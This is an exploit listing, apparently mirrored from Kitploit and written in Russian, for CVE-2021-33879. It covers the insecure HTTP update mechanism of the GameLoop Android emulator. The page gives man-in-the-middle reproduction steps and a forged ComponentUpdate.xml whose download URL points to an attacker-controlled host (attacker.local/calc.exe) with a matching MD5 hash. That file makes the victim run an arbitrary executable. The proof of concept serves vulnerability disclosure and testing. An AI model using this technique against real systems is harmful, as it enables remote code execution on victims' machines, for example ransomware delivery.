Sploitus

Exploit for cve-2021-33879 CVE-2021-33879

kitploit · 2026-09-04

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MMISZCZYK-CVE-2021-33879
**Идентификатор CVE** : CVE-2021-33879

**Название затронутого продукта(ов) и версии(й)** : GameLoop (все версии до 4.1.21.90)

**Тип уязвимости** : CWE-494: Загрузка кода без проверки целостности

* * *

**Краткое описание**

GameLoop — это эмулятор Android, разработанный Tencent. Он использует механизм обновления, который не является зашифрованным или аутентифицированным (кроме хешей MD5, которые в данной эксплуатации могут контролироваться атакующим), что позволяет атакующему в позиции MITM перехватывать и отправлять собственные пакеты обновлений, которые будут выполнены на машине жертвы.

**Описание**

Tencent GameLoop до версии 4.1.21.90 загружал обновления через небезопасное HTTP-соединение. Злоумышленник в позиции MITM мог подменить содержимое XML-документа, описывающего пакет обновления, заменив URL загрузки на URL, указывающий на произвольный исполняемый файл Windows. Поскольку единственной проверкой целостности было сравнение MD5-хеша загруженного файла с хешем, содержащимся в XML-документе, загруженный исполняемый файл затем выполнялся на машине жертвы.

**Воспроизведение**

  * настройка среды атакующего: 
    * настройте веб-сервер, поместите на него полезную нагрузку, вычислите её MD5-хеш
    * настройте прокси, сконфигурируйте его на перехват запросов к ComponentUpdate.xml
  * настройка среды жертвы: 
    * настройте подключение к интернету через прокси атакующего
    * установите уязвимую версию GameLoop
  * жертва: принудительная проверка обновлений 
    * запустите GameLoop
    * нажмите «Обновить» из гамбургер-меню
  * атакующий: измените ComponentUpdate.xml (вставьте соответствующий url, md5 и filesize вашей полезной нагрузки)



root@kitploit:~
    
    
    <?xml version="1.0" encoding="utf-8"?>
    <UpdateConfig>
    	<GlobalConfig>
    		<Item name="UpdateEnable" Value="1" />
    	</GlobalConfig>
    	<UpdatePolicy>
    		<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
    			<Condition Method="Or">
    				<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
    			</Condition>
    		</PolicyItem>
    	</UpdatePolicy>
    	<UpdateOperation>
    		<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
    			<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
    		</OperItem>
    	</UpdateOperation>
    </UpdateConfig>